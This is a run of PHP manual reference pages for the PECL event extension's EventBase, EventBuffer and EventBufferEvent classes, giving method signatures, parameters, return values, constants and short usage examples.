  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Returns event method in use

  • « EventBase::getFeatures
  • EventBase::getTimeOfDayCached »
  • PHP Manual
  • EventBase
  • Returns event method in use

EventBase::getMethod

(PECL event >= 1.2.6-beta)

EventBase::getMethod — Returns event method in use

Description

public string EventBase::getMethod ([ EventConfig $cfg ] )

Parameters

cfg

Optional EventConfig object.

Return Values

String representing used event method(backend).

Examples

Example #1 EventBase::getMethod() example

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

?>

The above example will output something similar to:

`select' method avoided
Event method used: epoll

See Also

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


Returns the current event base time

  • « EventBase::getMethod
  • EventBase::gotExit »
  • PHP Manual
  • EventBase
  • Returns the current event base time

EventBase::getTimeOfDayCached

(PECL event >= 1.2.6-beta)

EventBase::getTimeOfDayCached — Returns the current event base time

Description

public double EventBase::getTimeOfDayCached ( void )

On success returns the current time(as returned by gettimeofday() ), looking at the cached value in base if possible, and calling gettimeofday() or clock_gettime() as appropriate if there is no cached time.

Parameters

This function has no parameters.

Return Values

Returns the current event base time. On failure returns NULL.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • « EventBase::getTimeOfDayCached
  • EventBase::gotStop »
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotExit

(PECL event >= 1.2.6-beta)

EventBase::gotExit — Checks if the event loop was told to exit

Description

public bool EventBase::gotExit ( void )

Checks if the event loop was told to exit by EventBase::exit() .

Parameters

This function has no parameters.

Return Values

Returns TRUE, event loop was told to exit by EventBase::exit() . Otherwise FALSE.

See Also

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • « EventBase::gotExit
  • EventBase::loop »
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotStop

(PECL event >= 1.2.6-beta)

EventBase::gotStop — Checks if the event loop was told to exit

Description

public bool EventBase::gotStop ( void )

Checks if the event loop was told to exit by EventBase::stop() .

Parameters

This function has no parameters.

Return Values

Returns TRUE, event loop was told to stop by EventBase::stop() . Otherwise FALSE.

See Also

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotExit() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • « EventBase::gotStop
  • EventBase::priorityInit »
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::loop

(PECL event >= 1.2.6-beta)

EventBase::loop — Dispatch pending events

Description

public bool EventBase::loop ([ int $flags ] )

Wait for events to become active, and run their callbacks.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

Parameters

flags

Optional flags. One of EventBase::LOOP_* constants. See EventBase constants .

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBase::dispatch() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Sets number of priorities per event base

  • « EventBase::loop
  • EventBase::reInit »
  • PHP Manual
  • EventBase
  • Sets number of priorities per event base

EventBase::priorityInit

(PECL event >= 1.2.6-beta)

EventBase::priorityInit — Sets number of priorities per event base

Description

public bool EventBase::priorityInit ( int $n_priorities )

Sets number of priorities per event base.

Parameters

n_priorities

The number of priorities per event base.

Return Values

Returns TRUE on success, otherwise FALSE.

See Also

  • Event::setPriority() - Set event priority

User Contributed Notes

There are no user contributed notes for this page.


Re-initialize event base(after a fork).

  • « EventBase::priorityInit
  • EventBase::stop »
  • PHP Manual
  • EventBase
  • Re-initialize event base(after a fork).

EventBase::reInit

(PECL event >= 1.2.6-beta)

EventBase::reInit — Re-initialize event base(after a fork).

Description

public bool EventBase::reInit ( void )

Re-initialize event base. Should be called after a fork.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Tells event_base to stop dispatching events

  • « EventBase::reInit
  • EventBuffer »
  • PHP Manual
  • EventBase
  • Tells event_base to stop dispatching events

EventBase::stop

(PECL event >= 1.2.6-beta)

EventBase::stop — Tells event_base to stop dispatching events

Description

public bool EventBase::stop ( void )

Tells event_base to stop dispatching events

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBase::exit() - Stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


The EventBuffer class

(PECL event >= 1.5.0)

Introduction

EventBuffer represents Libevent's "evbuffer", an utility functionality for buffered I/O.

Event buffers are meant to be generally useful for doing the "buffer" part of buffered network I/O.

Class synopsis

EventBuffer {
/* Constants */
const integer EOL_ANY = 0 ;
const integer EOL_CRLF = 1 ;
const integer EOL_CRLF_STRICT = 2 ;
const integer EOL_LF = 3 ;
const integer PTR_SET = 0 ;
const integer PTR_ADD = 1 ;
/* Properties */
public readonly int $length ;
public readonly int $contiguous_space ;
/* Methods */
public bool add ( string $data )
public bool addBuffer ( EventBuffer $buf )
public int appendFrom ( EventBuffer $buf , int $len )
public __construct ( void )
public int copyout ( string &$data , int $max_bytes )
public bool drain ( int $len )
public void enableLocking ( void )
public bool expand ( int $len )
public bool freeze ( bool $at_front )
public void lock ( void )
public bool prepend ( string $data )
public bool prependBuffer ( EventBuffer $buf )
public string pullup ( int $size )
public string read ( int $max_bytes )
public int read ( mixed $fd , int $howmuch )
public string readLine ( int $eol_style )
public mixed search ( string $what [, int $start = -1 [, int $end = -1 ]] )
public mixed searchEol ([ int $start = -1 [, int $eol_style = EventBuffer::EOL_ANY ]] )
public string substr ( int $start [, int $length ] )
public bool unfreeze ( bool $at_front )
public bool unlock ( void )
public int write ( mixed $fd [, int $howmuch ] )
}

Properties

length

The number of bytes stored in an event buffer.

contiguous_space

The number of bytes stored contiguously at the front of the buffer. The bytes in a buffer may be stored in multiple separate chunks of memory; the property returns the number of bytes currently stored in the first chunk.

Predefined Constants

EventBuffer::EOL_ANY

The end of line is any sequence of any number of carriage return and linefeed characters. This format is not very useful; it exists mainly for backward compatibility.

EventBuffer::EOL_CRLF

The end of the line is an optional carriage return, followed by a linefeed. (In other words, it is either a "\r\n" or a "\n" .) This format is useful in parsing text-based Internet protocols, since the standards generally prescribe a "\r\n" line-terminator, but nonconformant clients sometimes say just "\n" .

EventBuffer::EOL_CRLF_STRICT

The end of a line is a single carriage return, followed by a single linefeed. (This is also known as "\r\n" . The ASCII values are 0x0D 0x0A ).

EventBuffer::EOL_LF

The end of a line is a single linefeed character. (This is also known as "\n" . It is ASCII value is 0x0A .)

EventBuffer::PTR_SET

Flag used as argument of EventBuffer::setPosition() method. If this flag specified, the position pointer is moved to an absolute position within the buffer.

EventBuffer::PTR_ADD

The same as EventBuffer::PTR_SET , except this flag causes EventBuffer::setPosition() method to move position forward up to the specified number of bytes(instead of setting absolute position).

Table of Contents

  • EventBuffer::add — Append data to the end of an event buffer
  • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
  • EventBuffer::__construct — Constructs EventBuffer object
  • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::enableLocking — Description
  • EventBuffer::expand — Reserves space in buffer
  • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
  • EventBuffer::lock — Acquires a lock on buffer
  • EventBuffer::prepend — Prepend data to the front of the buffer
  • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
  • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read — Read data from an evbuffer and drain the bytes read
  • EventBuffer::readFrom — Read data from a file onto the end of the buffer
  • EventBuffer::readLine — Extracts a line from the front of the buffer
  • EventBuffer::search — Scans the buffer for an occurrence of a string
  • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
  • EventBuffer::substr — Substracts a portion of the buffer data
  • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
  • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
  • EventBuffer::write — Write contents of the buffer to a file or socket

User Contributed Notes

There are no user contributed notes for this page.


Append data to the end of an event buffer

  • « EventBuffer
  • EventBuffer::addBuffer »
  • PHP Manual
  • EventBuffer
  • Append data to the end of an event buffer

EventBuffer::add

(PECL event >= 1.2.6-beta)

EventBuffer::add — Append data to the end of an event buffer

Description

public bool EventBuffer::add ( string $data )

Append data to the end of an event buffer.

Parameters

data

String to be appended to the end of the buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Move all data from a buffer provided to the current instance of EventBuffer

  • « EventBuffer::add
  • EventBuffer::appendFrom »
  • PHP Manual
  • EventBuffer
  • Move all data from a buffer provided to the current instance of EventBuffer

EventBuffer::addBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer

Description

public bool EventBuffer::addBuffer ( EventBuffer $buf )

Move all data from the buffer provided in buf parameter to the end of current EventBuffer . This is a destructive add. The data from one buffer moves into the other buffer. However, no unnecessary memory copies occur.

Parameters

buf

The source EventBuffer object.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::add() - Append data to the end of an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Moves the specified number of bytes from a source buffer to the end of the current buffer

  • « EventBuffer::addBuffer
  • EventBuffer::__construct »
  • PHP Manual
  • EventBuffer
  • Moves the specified number of bytes from a source buffer to the end of the current buffer

EventBuffer::appendFrom

(PECL event >= 1.6.0)

EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer

Description

public int EventBuffer::appendFrom ( EventBuffer $buf , int $len )

Moves the specified number of bytes from a source buffer to the end of the current buffer. If there are fewer number of bytes, it moves all the bytes available from the source buffer.

Parameters

buf

Source buffer.

len

Return Values

Returns the number of bytes read.

Changelog

Version | Description
1.6.0 | Renamed EventBuffer::appendFrom()(the old method name) to EventBuffer::appendFrom().

See Also

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBuffer object

  • « EventBuffer::appendFrom
  • EventBuffer::copyout »
  • PHP Manual
  • EventBuffer
  • Constructs EventBuffer object

EventBuffer::__construct

(PECL event >= 1.2.6-beta)

EventBuffer::__construct — Constructs EventBuffer object

Description

public EventBuffer::__construct ( void )

Constructs EventBuffer object

Parameters

This function has no parameters.

Return Values

Returns EventBuffer object.

User Contributed Notes

There are no user contributed notes for this page.


Copies out specified number of bytes from the front of the buffer

  • « EventBuffer::__construct
  • EventBuffer::drain »
  • PHP Manual
  • EventBuffer
  • Copies out specified number of bytes from the front of the buffer

EventBuffer::copyout

(PECL event >= 1.2.6-beta)

EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer

Description

public int EventBuffer::copyout ( string &$data , int $max_bytes )

Behaves just like EventBuffer::read() , but does not drain any data from the buffer. I.e. it copies the first max_bytes bytes from the front of the buffer into data . If there are fewer than max_bytes bytes available, the function copies all the bytes there are.

Parameters

data

Output string.

max_bytes

The number of bytes to copy.

Return Values

Returns the number of bytes copied, or -1 on failure.

See Also

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Removes specified number of bytes from the front of the buffer without copying it anywhere

  • « EventBuffer::copyout
  • EventBuffer::enableLocking »
  • PHP Manual
  • EventBuffer
  • Removes specified number of bytes from the front of the buffer without copying it anywhere

EventBuffer::drain

(PECL event >= 1.2.6-beta)

EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere

Description

public bool EventBuffer::drain ( int $len )

Behaves as EventBuffer::read() , except that it does not copy the data: it just removes it from the front of the buffer.

Parameters

len

The number of bytes to remove from the buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « EventBuffer::drain
  • EventBuffer::expand »
  • PHP Manual
  • EventBuffer
  • Description

EventBuffer::enableLocking

(PECL event >= 1.2.6-beta)

EventBuffer::enableLocking —

Description

public void EventBuffer::enableLocking ( void )

Enable locking on an EventBuffer so that it can safely be used by multiple threads at the same time. When locking is enabled, the lock will be held when callbacks are invoked. This could result in deadlock if you aren't careful. Plan accordingly!

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • » Evbuffers and Thread-safety

User Contributed Notes

There are no user contributed notes for this page.


Reserves space in buffer

  • « EventBuffer::enableLocking
  • EventBuffer::freeze »
  • PHP Manual
  • EventBuffer
  • Reserves space in buffer

EventBuffer::expand

(PECL event >= 1.2.6-beta)

EventBuffer::expand — Reserves space in buffer

Description

public bool EventBuffer::expand ( int $len )

Alters the last chunk of memory in the buffer, or adds a new chunk, such that the buffer is now large enough to contain len bytes without any further allocations.

Parameters

len

The number of bytes to reserve for the buffer

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Prevent calls that modify an event buffer from succeeding

  • « EventBuffer::expand
  • EventBuffer::lock »
  • PHP Manual
  • EventBuffer
  • Prevent calls that modify an event buffer from succeeding

EventBuffer::freeze

(PECL event >= 1.2.6-beta)

EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding

Description

public bool EventBuffer::freeze ( bool $at_front )

Prevent calls that modify an event buffer from succeeding

Parameters

at_front

Whether to disable changes to the front or end of the buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::unfreeze() - Re-enable calls that modify an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Acquires a lock on buffer

  • « EventBuffer::freeze
  • EventBuffer::prepend »
  • PHP Manual
  • EventBuffer
  • Acquires a lock on buffer

EventBuffer::lock

(PECL event >= 1.2.6-beta)

EventBuffer::lock — Acquires a lock on buffer

Description

public void EventBuffer::lock ( void )

Acquires a lock on buffer. Can be used in pair with EventBuffer::unlock() to make a set of operations atomic, i.e. thread-safe. Note, it is not needed to lock buffers for individual operations. When locking is enabled(see EventBuffer::enableLocking() ), individual operations on event buffers are already atomic.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EventBuffer::unlock() - Releases lock acquired by EventBuffer::lock

User Contributed Notes

There are no user contributed notes for this page.


Prepend data to the front of the buffer

  • « EventBuffer::lock
  • EventBuffer::prependBuffer »
  • PHP Manual
  • EventBuffer
  • Prepend data to the front of the buffer

EventBuffer::prepend

(PECL event >= 1.2.6-beta)

EventBuffer::prepend — Prepend data to the front of the buffer

Description

public bool EventBuffer::prepend ( string $data )

Prepend data to the front of the buffer.

Parameters

data

String to be prepended to the front of the buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::prependBuffer() - Moves all data from source buffer to the front of current buffer
  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Moves all data from source buffer to the front of current buffer

  • « EventBuffer::prepend
  • EventBuffer::pullup »
  • PHP Manual
  • EventBuffer
  • Moves all data from source buffer to the front of current buffer

EventBuffer::prependBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer

Description

public bool EventBuffer::prependBuffer ( EventBuffer $buf )

Behaves as EventBuffer::addBuffer() , except that it moves data to the front of the buffer.

Parameters

buf

Source buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::prepend() - Prepend data to the front of the buffer

User Contributed Notes

There are no user contributed notes for this page.


Linearizes data within buffer and returns it's contents as a string

  • « EventBuffer::prependBuffer
  • EventBuffer::read »
  • PHP Manual
  • EventBuffer
  • Linearizes data within buffer and returns it's contents as a string

EventBuffer::pullup

(PECL event >= 1.2.6-beta)

EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string

Description

public string EventBuffer::pullup ( int $size )

"Linearizes" the first size bytes of the buffer, copying or moving them as needed to ensure that they are all contiguous and occupying the same chunk of memory. If size is negative, the function linearizes the entire buffer.

Warning

Calling EventBuffer::pullup() with a large size can be quite slow, since it potentially needs to copy the entire buffer's contents.

Parameters

size

The number of bytes required to be contiguous within the buffer.

Return Values

If size is greater than the number of bytes in the buffer, the function returns NULL. Otherwise, EventBuffer::pullup() returns string.

See Also

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Read data from an evbuffer and drain the bytes read

  • « EventBuffer::pullup
  • EventBuffer::readFrom »
  • PHP Manual
  • EventBuffer
  • Read data from an evbuffer and drain the bytes read

EventBuffer::read

(PECL event >= 1.6.0)

EventBuffer::read — Read data from an evbuffer and drain the bytes read

Description

public string EventBuffer::read ( int $max_bytes )

Read the first max_bytes from the buffer and drain the bytes read. If more max_bytes are requested than are available in the buffer, it only extracts as many bytes as available.

Parameters

max_bytes

Maxmimum number of bytes to read from the buffer.

Return Values

Returns string read, or FALSE on failure.

Changelog

Version | Description
1.6.0 | Renamed EventBuffer::read()(the old method name) to EventBuffer::read(). EventBuffer::read() now takes only max_bytes argument; returns string instead of integer.

See Also

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Read data from a file onto the end of the buffer

  • « EventBuffer::read
  • EventBuffer::readLine »
  • PHP Manual
  • EventBuffer
  • Read data from a file onto the end of the buffer

EventBuffer::readFrom

(PECL event >= 1.7.0)

EventBuffer::readFrom — Read data from a file onto the end of the buffer

Description

public int EventBuffer::read ( mixed $fd , int $howmuch )

Read data from the file specified by fd onto the end of the buffer.

Parameters

fd

Socket resource, stream, or numeric file descriptor.

howmuch

Maxmimum number of bytes to read.

Return Values

Returns the number of bytes read, or FALSE on failure.

See Also

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Extracts a line from the front of the buffer

  • « EventBuffer::readFrom
  • EventBuffer::search »
  • PHP Manual
  • EventBuffer
  • Extracts a line from the front of the buffer

EventBuffer::readLine

(PECL event >= 1.2.6-beta)

EventBuffer::readLine — Extracts a line from the front of the buffer

Description

public string EventBuffer::readLine ( int $eol_style )

Extracts a line from the front of the buffer and returns it in a newly allocated string. If there is not a whole line to read, the function returns NULL. The line terminator is not included in the copied string.

Parameters

eol_style

One of EventBuffer:EOL_* constants .

Return Values

On success returns the line read from the buffer, otherwise NULL.

See Also

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of a string

  • « EventBuffer::readLine
  • EventBuffer::searchEol »
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of a string

EventBuffer::search

(PECL event >= 1.2.6-beta)

EventBuffer::search — Scans the buffer for an occurrence of a string

Description

public mixed EventBuffer::search ( string $what [, int $start = -1 [, int $end = -1 ]] )

Scans the buffer for an occurrence of the string what . It returns numeric position of the string, or FALSE if the string was not found.

If the start argument is provided, it points to the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

Parameters

what

String to search.

start

Start search position.

end

End search position.

Return Values

Returns numeric position of the first occurance of the string in the buffer, or FALSE if string is not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 EventBuffer::search() example

<?php
// Count total occurances of 'str' in 'buf'
function count_instances($buf, $str) {
    $total = 0;
    $p     = 0;
    $i     = 0;

    while (1) {
        $p = $buf->search($str, $p);
        if ($p === FALSE) {
            break;
        }
        ++$total;
        ++$p;
    }

    return $total;
}

$buf = new EventBuffer();
$buf->add("Some string within a string inside another string");
var_dump(count_instances($buf, "str"));
?>

The above example will output something similar to:

int(3)

See Also

  • EventBuffer::searchEol() - Scans the buffer for an occurrence of an end of line

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of an end of line

  • « EventBuffer::search
  • EventBuffer::substr »
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of an end of line

EventBuffer::searchEol

(PECL event >= 1.5.0)

EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line

Description

public mixed EventBuffer::searchEol ([ int $start = -1 [, int $eol_style = EventBuffer::EOL_ANY ]] )

Scans the buffer for an occurrence of an end of line specified by eol_style parameter . It returns numeric position of the string, or FALSE if the string was not found.

If the start argument is provided, it represents the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

Parameters

start

Start search position.

eol_style

One of EventBuffer:EOL_* constants .

Return Values

Returns numeric position of the first occurance of end-of-line symbol in the buffer, or FALSE if not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • EventBuffer::search() - Scans the buffer for an occurrence of a string

User Contributed Notes

There are no user contributed notes for this page.


Substracts a portion of the buffer data

  • « EventBuffer::searchEol
  • EventBuffer::unfreeze »
  • PHP Manual
  • EventBuffer
  • Substracts a portion of the buffer data

EventBuffer::substr

(PECL event >= 1.6.0)

EventBuffer::substr — Substracts a portion of the buffer data

Description

public string EventBuffer::substr ( int $start [, int $length ] )

Substracts up to length bytes of the buffer data beginning at start position.

Parameters

start

The start position of data to be substracted.

length

Maximum number of bytes to substract.

Return Values

Returns the data substracted as a string on success, or FALSE on failure.

See Also

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


Re-enable calls that modify an event buffer

  • « EventBuffer::substr
  • EventBuffer::unlock »
  • PHP Manual
  • EventBuffer
  • Re-enable calls that modify an event buffer

EventBuffer::unfreeze

(PECL event >= 1.2.6-beta)

EventBuffer::unfreeze — Re-enable calls that modify an event buffer

Description

public bool EventBuffer::unfreeze ( bool $at_front )

Re-enable calls that modify an event buffer.

Parameters

at_front

Whether to enable events at the front or at the end of the buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::freeze() - Prevent calls that modify an event buffer from succeeding

User Contributed Notes

There are no user contributed notes for this page.


Releases lock acquired by EventBuffer::lock

  • « EventBuffer::unfreeze
  • EventBuffer::write »
  • PHP Manual
  • EventBuffer
  • Releases lock acquired by EventBuffer::lock

EventBuffer::unlock

(PECL event >= 1.2.6-beta)

EventBuffer::unlock — Releases lock acquired by EventBuffer::lock

Description

public bool EventBuffer::unlock ( void )

Releases lock acquired by EventBuffer::lock() .

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBuffer::lock() - Acquires a lock on buffer

User Contributed Notes

There are no user contributed notes for this page.


Write contents of the buffer to a file or socket

  • « EventBuffer::unlock
  • EventBufferEvent »
  • PHP Manual
  • EventBuffer
  • Write contents of the buffer to a file or socket

EventBuffer::write

(PECL event >= 1.6.0)

EventBuffer::write — Write contents of the buffer to a file or socket

Description

public int EventBuffer::write ( mixed $fd [, int $howmuch ] )

Write contents of the buffer to a file descriptor. The buffer will be drained after the bytes have been successfully written.

Parameters

fd

Socket resource, stream or numeric file descriptor associated normally associated with a socket.

howmuch

The maximum number of bytes to write.

Return Values

Returns the number of bytes written, or FALSE on error.

See Also

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


The EventBufferEvent class

(PECL event >= 1.2.6-beta)

Introduction

Represents Libevent's buffer event.

Usually an application wants to perform some amount of data buffering in addition to just responding to events. When we want to write data, for example, the usual pattern looks like:

  1. Decide that we want to write some data to a connection; put that data in a buffer.

  2. Wait for the connection to become writable

  3. Write as much of the data as we can

  4. Remember how much we wrote, and if we still have more data to write, wait for the connection to become writable again.

This buffered I/O pattern is common enough that Libevent provides a generic mechanism for it. A "buffer event" consists of an underlying transport (like a socket), a read buffer, and a write buffer. Instead of regular events, which give callbacks when the underlying transport is ready to be read or written, a buffer event invokes its user-supplied callbacks when it has read or written enough data.

Class synopsis

final EventBufferEvent {
/* Constants */
const integer READING = 1 ;
const integer WRITING = 2 ;
const integer EOF = 16 ;
const integer ERROR = 32 ;
const integer TIMEOUT = 64 ;
const integer CONNECTED = 128 ;
const integer OPT_CLOSE_ON_FREE = 1 ;
const integer OPT_THREADSAFE = 2 ;
const integer OPT_DEFER_CALLBACKS = 4 ;
const integer OPT_UNLOCK_CALLBACKS = 8 ;
const integer SSL_OPEN = 0 ;
const integer SSL_CONNECTING = 1 ;
const integer SSL_ACCEPTING = 2 ;
/* Properties */
public integer $fd ;
public integer $priority ;
public readonly EventBuffer $input ;
public readonly EventBuffer $output ;
/* Methods */
public bool connect ( string $addr )
public bool connectHost ( EventDnsBase $dns_base , string $hostname , int $port [, int $family = EventUtil::AF_UNSPEC ] )
public __construct ( EventBase $base [, mixed $socket = NULL [, int $options = 0 [, callable $readcb = NULL [, callable $writecb = NULL [, callable $eventcb = NULL ]]]]] )
public static array createPair ( EventBase $base [, int $options = 0 ] )
public bool disable ( int $events )
public bool enable ( int $events )
public void free ( void )
public string getDnsErrorString ( void )
public int getEnabled ( void )
public EventBuffer getInput ( void )
public EventBuffer getOutput ( void )
public string read ( int $size )
public bool readBuffer ( EventBuffer $buf )
public void setCallbacks ( callable $readcb , callable $writecb , callable $eventcb [, string $arg ] )
public bool setPriority ( int $priority )
public bool setTimeouts ( float $timeout_read , float $timeout_write )
public void setWatermark ( int $events , int $lowmark , int $highmark )
public string sslError ( void )
public static EventBufferEvent sslFilter ( EventBase $base , EventBufferEvent $underlying , EventSslContext $ctx , int $state [, int $options = 0 ] )
public void sslRenegotiate ( void )
public static EventBufferEvent sslSocket ( EventBase $base , mixed $socket , EventSslContext $ctx , int $state [, int $options ] )
public bool write ( string $data )
public bool writeBuffer ( EventBuffer $buf )
}

Properties

fd

Numeric file descriptor associated with the buffer event. Normally represents a bound socket. Equals to NULL, if there is no file descriptor(socket) associated with the buffer event.

priority

The priority of the events used to implement the buffer event.

input

Underlying input buffer object( EventBuffer )

output

Underlying output buffer object( EventBuffer )

Predefined Constants

EventBufferEvent::READING

An event occured during a read operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::WRITING

An event occured during a write operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::EOF

Got an end-of-file indication on the buffer event.

EventBufferEvent::ERROR

An error occurred during a bufferevent operation. For more information on what the error was, call EventUtil::getLastSocketErrno() and/or EventUtil::getLastSocketError() .

EventBufferEvent::TIMEOUT

EventBufferEvent::CONNECTED

Finished a requested connection on the bufferevent.

EventBufferEvent::OPT_CLOSE_ON_FREE

When the buffer event is freed, close the underlying transport. This will close an underlying socket, free an underlying buffer event, etc.

EventBufferEvent::OPT_THREADSAFE

Automatically allocate locks for the bufferevent, so that it’s safe to use from multiple threads.

EventBufferEvent::OPT_DEFER_CALLBACKS

When this flag is set, the bufferevent defers all of its callbacks. See » Fast portable non-blocking network programming with Libevent, Deferred callbacks .

EventBufferEvent::OPT_UNLOCK_CALLBACKS

By default, when the bufferevent is set up to be threadsafe, the buffer event’s locks are held whenever the any user-provided callback is invoked. Setting this option makes Libevent release the buffer event’s lock when it’s invoking the callbacks.

EventBufferEvent::SSL_OPEN

The SSL handshake is done

EventBufferEvent::SSL_CONNECTING

SSL is currently performing negotiation as a client

EventBufferEvent::SSL_ACCEPTING

SSL is currently performing negotiation as a server

Table of Contents

